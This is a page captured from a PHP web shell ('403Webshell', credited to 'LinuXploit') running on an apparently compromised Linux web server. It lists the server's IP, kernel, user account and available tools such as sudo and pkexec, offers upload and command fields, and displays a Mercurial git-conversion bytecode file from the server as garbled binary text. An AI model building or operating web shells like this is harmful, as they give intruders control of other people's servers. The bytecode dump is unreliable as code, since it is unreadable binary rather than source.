403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/hgext/convert/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/hgext/convert/__pycache__/git.cpython-39.pyc
a

�+�bPE�@s�ddlmZddlZddlmZddlmZddlmZm	Z	m
Z
mZddlm
Z
Gdd	�d	e�Zhd
�ZGdd�de
je
j�ZdS)
�)�absolute_importN)�_)�sha1nodeconstants)�config�error�pycompat�util�)�commonc@s$eZdZdd�Zdd�Zdd�ZdS)�	submodulecCs||_||_||_dS�N)�path�node�url)�selfr
rr�r�7/usr/lib64/python3.9/site-packages/hgext/convert/git.py�__init__szsubmodule.__init__cCsd|j|jfS)Ns%s = [git]%s)r
r�rrrr�hgsubszsubmodule.hgsubcCsd|j|jfS)Ns%s %s)rr
rrrr�
hgsubstate szsubmodule.hgsubstateN)�__name__�
__module__�__qualname__rrrrrrrrsr>�parentstreesclose�	committersbranch�authorcs�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd-�fdd�	Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd.d+d,�Z�ZS)/�convert_gitcOs|d|jg|�Ri|��S)Ns--git-dir=%s�r
)r�cmd�args�kwargsrrr�_gitcmd6szconvert_git._gitcmdcOs|j|jg|�Ri|��Sr)r"Zrun0�rr r!rrr�gitrun09szconvert_git.gitrun0cOs|j|jg|�Ri|��Sr)r"�runr#rrr�gitrun<szconvert_git.gitruncOs|j|jg|�Ri|��Sr)r"Z	runlines0r#rrr�gitrunlines0?szconvert_git.gitrunlines0cOs|j|jg|�Ri|��Sr)r"Zrunlinesr#rrr�gitrunlinesBszconvert_git.gitrunlinescOs|j|jg|�Ri|��Sr)r"Z_run3r#rrr�gitpipeEszconvert_git.gitpipeNcsPtt|�j||||d�tj�||d�t�|�}tj�	|d�rJ|d7}tj�
|d�slt�td�|��|�
dd�}|dks�|d	kr�t�td
���|dkr�d|g|_|�dd�}|r�|j�d
�|�
dd�}|j�d|�ng|_t�dd�||_g|_|�dd�|_|j�dd�|_t|j�t@}|�rTt�td�td��t|����|j�dd�}	d}
d}|	D]^}|�d��rn|}
d}d|v�r�|�dd�\}
}|
dk�r�|�p�d}
n|
dk�rn|�p�d}�qn|
�r�|�r�t�td���d|	v}d|	v}|�r|�rt�td���|�r,|�r,t�td ���|
�s<|�s<d}
|||
|d!�|_ dS)"N)�revssgits/.gits/objectss&%s does not look like a Git repository�convertsgit.similarityr�ds$similarity must be between 0 and 100s-C%d%%sgit.findcopiesharders--find-copies-hardersgit.renamelimits-l%dscat-files--batchs
git.extrakeyss%copying of extra key is forbidden: %ss, sgit.committeractions)�messagedifferent�
messagealways�=r	r-s
committer:r.sFcommitteractions cannot define both messagedifferent and messagealways�
dropcommitter�
replaceauthorsCcommitteractions cannot define both dropcommitter and replaceauthorsCcommitteractions cannot define both dropcommitter and messagealways)r0r1r-r.)!�superrrr
�commandliner�abspath�osr
�isdir�existsZNoReporZ	configintr�Abort�simopt�
configbool�appendZ	checktool�
submodulesr)�catfilepipe�uiZ
configlist�
copyextrakeys�set�bannedextrakeys�join�sorted�
startswith�split�committeractions)rr>Zrepotyper
r*Z
similarityZfindcopiesharderZrenamelimitZbannedrF�messagedifferent�
messagealways�a�k�vZ
dropcommitterZ
replaceauthor��	__class__rrrHs�

�����


�������zconvert_git.__init__cCs|jD]}|��qdSr)r=�close)r�frrr�after�s
zconvert_git.aftercCs�|js4|�ddd�\}}|��}|r~t�td���nJg}|jD]>}|�dd|�\}}|�|dd��|r>t�td�|��q>|S)N�	rev-parses
--branchess	--remotesscannot retrieve git headss--verify���scannot retrieve git head "%s")r*r&�
splitlinesrr8rr;)r�output�statusZheads�revZrawhead�retrrr�getheads�s�
zconvert_git.getheadscCs�|tjkrt�|jd�|d�|jd��|jd����}|d|krjt�	t
d�t�|�|f��t
|d�}|jd�|�}t|�|kr�t�	t
d�||f��|jd�d�|S)Nr�
r	scannot read %r object at %s�s,cannot read %r object at %s: unexpected size)r�nullhex�IOErrorr=�write�flush�readlinerErr8rr�bytestr�int�read�len)rrVZftype�info�size�datarrr�catfile�s*
����zconvert_git.catfilecCs||tjkrdS|dkr4d�dd�|��D��}d}n@|dkrZd�dd�|��D��}d}n|�|d	�}|j||f}||fS)
N)NN�.hgsubrYcSsg|]}|���qSr)r��.0�mrrr�
<listcomp>��z'convert_git.getfile.<locals>.<listcomp>rm�.hgsubstatecSsg|]}|���qSr)rrirrrrl�rmsblob)rr[rB�
submoditerrg�	modecache)r�namerVrf�moderrr�getfile�s
zconvert_git.getfileccs2tj}t|jdd�d�D]}|j|kr|VqdS)NcSs|jSrr)�prrr�<lambda>�rmz(convert_git.submoditer.<locals>.<lambda>)�key)rr[rCr<r)rZnullrkrrrro�s
zconvert_git.submoditerc	Cs|g|_t��}|�dd�dd�|�d�D���|��D]>}t|�|��}d|vr8d|vr8|j�t	|dd|d��q8dS)	z�Parse the formatted .gitmodules file, example file format:
        [submodule "sub"]

        	path = sub

        	url = git://giturl

        �.gitmodulesrYcss|]}|��VqdSr)�strip)rj�linerrr�	<genexpr>�rmz.convert_git.parsegitmodules.<locals>.<genexpr>surlspathrmN)
r<r�parserBrEZsections�dict�itemsr;r)rZcontent�cZsec�srrr�parsegitmodules�s�zconvert_git.parsegitmodulescCs�|�dd|df�\}}|r4|j�td�|�dSz|�|�Wn*tjyl|j�td�|�YdS0|jD].}|�dd||jf�\}}|r�qt|�	�|_
qtdS)Nsshows%s:%srws2warning: cannot read submodules config file in %s
s+warning: unable to parse .gitmodules in %s
rQ)r&r>�warnrr�rZ
ParseErrorr<r
rxr)r�version�modulesrWrkrrrr�retrievegitmoduless,���
�
zconvert_git.retrievegitmodulescs�|rt�td���i�_gd��j|g}�j|�\}}|rPt�td�|��g�i}t��d}dg�dg�|�d�}t|�}	d}
�j	�
dd��������fd	d
�}|
|	k�r�||
}|
d7}
|s�|�d�s�q�td
d�|��D��}q�|}
|dddk�r |
}||
}|
d7}
|}
|||<|
�v�r6|||
d�|dddk�r�||
}|
d7}
|�v�r�|||d�|
dk�r�|dk�r�|
||<d}q��d�rʈd�r���
dtjf�n��|���
d��|t�fS)Ns(convert from git does not support --full)�	diff-trees-z�--root�-m�-r�cannot read changes in %sF�rr+sgit.skipsubmodulescs���|�|d}|ddk}|ddk}|o>|dddk}|dkr��rPdSd	�d<|dd
ksh|r�d	�d<��dtjf�q��d�n\|dd
ks�|ddkr��s�d	�d<n6|r�tj}|r�dp�|r�dp�d�j||f<��||f�dS)N�r	s100755s120000�r�RrwT�Drh)rhrms160000s:160000�x�lrm)�addr;rr[rp)�entryrOZisdest�hrtrZrenamesource��changes�seenrZskipsubmodulesZ
subdeletedZ	subexistsrrr�3s(

z#convert_git.getchanges.<locals>.addr	�:css|]}t�|�VqdSr)rr`)rjrtrrrrzSrmz)convert_git.getchanges.<locals>.<genexpr>r��Cr�Trwrn)rnrm)rr8rrpr9r&r@rErcr>r:rD�tupler;rr[r�)rr�ZfullrrTrUZcopiesr�ZdifftreeZlcount�ir��lrOZcopysrcZcopydestZfdestrr�r�
getchangessl���








zconvert_git.getchangesc	Cs<|�|d�}|�d�}||dd�}|�|�}|d|���}g}d}}i}	|dd�D]�}
|
�dd�\}}|dkr�|��}
|
dd�\}}d�|
dd��}|dd	kr�|dd
�}|�|�}|dk�r|��}
|
dd�\}}d�|
dd��}|dd	k�r|dd
�}|�|�}|dk�r0|�|�||jvr\||	|<q\|jd
�rVd}n|jd�rf|}|�r�|jd}|jd}|�r�|d||f7}n |�r�||k�r�|d||f7}|dd�d|dd�|dd�}}}t	|�t	|�dt	|�}|dd|}|j
�dd�}tj
||||||	|d�}|S)Nscommits

rZr	� r���r�<rRrrr0r1r.r-s
%s %s
�������1is%dr+sgit.saverev)�parents�date�authorZdescrV�extra�saverev)rg�findZrecoderSrErBr;r?rFrar>r:r
Zcommit)rr�r~�end�messager�r�r�Z	committerr��e�nrKrtZtmZtzrHrGZtzsZtzhZtzmr�r�rrr�	getcommittsj










,�	zconvert_git.getcommitcCs0|�dd�\}}|r(t�td�|j��t|�S)Nsrev-lists--alls'cannot retrieve number of commits in %s)r(rr8rr
rc)rrTrWrrr�
numcommits�s�zconvert_git.numcommitsc	Cs�i}i}|�dd|j�\}}|r4t�td�|j��d}|D]d}|��}|�d�s\|�d�rpt�td�|j��|�dd�\}}|�|�s�q<|||t|�d�<q<|D]@}|�	d�r�||||dd	�<q�|d|vr�q�q�||||<q�|S)
Ns	ls-remotes--tagsscannot read tags from %ss
refs/tags/serror:sfatal:r	s^{}���)
r(r
rr8rrxrDrErc�endswith)	r�tagsZalltagsrTrU�prefixryr�tagrrr�gettags�s*

zconvert_git.gettagsc	Cs�g}|durn|�dddd|�\}}|r8t�td�|��|D].}d|vrJq<|dd��d�\}}|�|�q<nJ|�dddd|d	||d
fd�\}}|r�t�td�|��dd
�|D�}|S)Nr�r�r�r�r��	rRs--name-onlys%s^%dr	s--cSsg|]}|�d��qS)rY)�rstrip)rjrOrrrrl�rmz/convert_git.getchangedfiles.<locals>.<listcomp>)r(rr8rrEr;)	rr�r�r�rTrUr�rkrOrrr�getchangedfiles�s2
��	zconvert_git.getchangedfilescCs�i}|j�dd�}d|dfdg}dh}zv|�d�\}}|D]^}|��}|�dd�\}}	|D]<\}
}|	�|
�r\|	|vrxq\d	||	t|
�d�f}	|||	<q\q<Wnty�Yn0|S)
Nr+sgit.remoteprefixsrefs/remotes/origin/�/)srefs/heads/rmsrefs/remotes/origin/HEADsshow-refr	s%s%s)r>rr(rxrErDrc�	Exception)rZ	bookmarksZremoteprefixZreftypesZexcluderTrUryrVrqZ	gitprefixZhgprefixrrr�getbookmarks�s(
��zconvert_git.getbookmarks�	splicemapcCs|�||�dS)z$git revision string is a 40 byte hexN)Zcheckhexformat)rZrevstrZmapnamerrr�checkrevformatszconvert_git.checkrevformat)N)r�)rrrr"r$r&r'r(r)rrPrXrgrsror�r�r�r�r�r�r�r�r��
__classcell__rrrLrr1s*fY;r)Z
__future__rr5Zmercurial.i18nrZmercurial.noderZ	mercurialrrrr�r
�objectrrAZconverter_sourcer3rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit